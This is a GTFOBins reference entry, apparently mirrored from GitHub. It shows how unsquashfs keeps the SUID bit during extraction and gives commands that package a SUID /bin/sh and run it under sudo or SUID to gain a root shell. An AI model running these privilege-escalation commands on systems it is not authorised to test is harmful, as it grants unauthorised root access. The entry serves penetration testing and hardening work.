1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-10-18 05:18:13 +02:00
GTFOBins.github.io/_gtfobins/unsquashfs.md

22 lines
497 B
Markdown
Raw Permalink Normal View History

---
description: |
`unsquashfs` preserve the SUID bit when extracting the file system. Prepare an archive beforehand with the following commands as root:
```
cp /bin/sh .
chmod +s sh
mksquashfs sh shell
```
Extract it on the target, then run the SUID shell as usual (omitting the `-p` where appropriate).
functions:
sudo:
- code: |
sudo unsquashfs shell
./squashfs-root/sh -p
suid:
- code: |
./unsquashfs shell
./squashfs-root/sh -p
---